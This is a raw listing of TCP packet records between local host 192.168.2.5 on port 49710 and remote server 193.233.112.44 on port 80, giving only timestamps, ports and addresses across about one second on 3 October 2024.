Oct 3, 2024 23:17:09.406393051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406411886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406425953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406445980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406456947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406481028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406487942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406527042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406625986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406660080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406677008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406702995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.424469948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.424681902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.424694061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.424753904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.424807072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.424839973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.424859047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.424876928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.424892902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.424913883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.424925089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.424968004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.424971104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.424999952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425031900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425031900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425031900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425072908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425086021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425112963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425116062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425149918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425162077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425184965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425199032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425220966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425235033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425270081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425399065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425432920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425451994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425467014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425476074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425513029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425551891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425582886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425601959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425617933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425623894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425652027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425662994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425687075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425700903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425739050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425755024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425805092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425821066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425856113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425872087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425896883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.425920010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.425966024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.470294952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.475354910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.829657078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.829693079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.829721928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.829734087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.829745054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.829780102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.829783916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.829813004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.829819918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.829845905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.829857111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.829881907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.829885960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.829921007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.830027103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.830059052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.830068111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.830094099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.830100060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.830130100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.830137968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.830168962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.903537035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.903578043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.903614998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.903621912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.903645039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.903660059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904172897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904225111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904232979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904261112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904269934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904297113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904303074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904334068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904342890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904376984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904390097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904424906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904438019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904460907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904474974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904499054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904509068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904534101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904546976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904568911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904578924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904603958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904614925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904639006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904653072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904680014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904690981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904716015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904725075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904750109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904761076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904789925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.904795885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.904836893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.974678040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.974708080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.974725008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.974756956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.974775076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.974859953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.974875927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.974889994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.974905968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.974915028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.974920988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.974921942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.974934101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.974948883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.974961996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975013018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975060940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975071907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975090981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975106955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975119114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975138903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975150108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975245953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975260973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975275993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975289106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975291014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975311041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975326061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975415945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975438118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975476980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975476980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975524902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975541115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975555897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975570917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975572109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975581884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975585938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975601912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975603104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975615025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975617886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975630045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975636005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975655079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975655079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975671053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975881100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975935936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.975972891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.975989103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976002932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976013899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976018906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976027012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976035118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976043940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976054907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976073027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976248026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976264954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976279020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976293087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976294994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976300955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976310968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976322889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976335049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976346970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976432085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976448059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976475954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976511955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976551056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976567984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976583004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976593971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976598024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976603985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976615906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976624966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976634026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976635933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976653099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976656914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976670027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976670027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976685047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976691008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976702929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976708889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976721048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.976721048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976735115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.976757050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.977088928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.977104902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.977139950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.977152109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.993824005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.993844986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.993926048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.047600031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.047621965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.047637939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.047655106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.047668934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.047683954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.047699928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.047796965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.047993898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048027992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048043013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048047066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048059940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048070908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048078060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048089981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048094034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048106909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048110962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048126936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048141003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048142910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048158884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048166990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048173904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048176050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048192978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048201084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048208952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048214912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048226118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048234940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048245907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048264980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048449039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048474073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048490047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048499107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048516035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048532963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048623085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048645020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048660040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048669100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048676014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048690081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048695087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048707962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048722982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048728943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048738956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048739910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048753977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048760891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048770905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048774958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048789024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048789024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048808098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048814058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048823118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048825979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048841953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048842907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.048861980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.048880100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049505949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049523115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049536943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049551010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049555063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049561977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049567938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049582958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049583912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049599886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049606085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049617052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049628973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049633026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049638987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049650908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049658060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049664021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049668074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049683094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049690008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049700975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049710989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049710989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049716949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.049736977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.049747944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050425053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050441980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050457954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050472975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050472975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.050487995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.050496101 CEST	49710	80	192.168.2.5	193.233.112.44
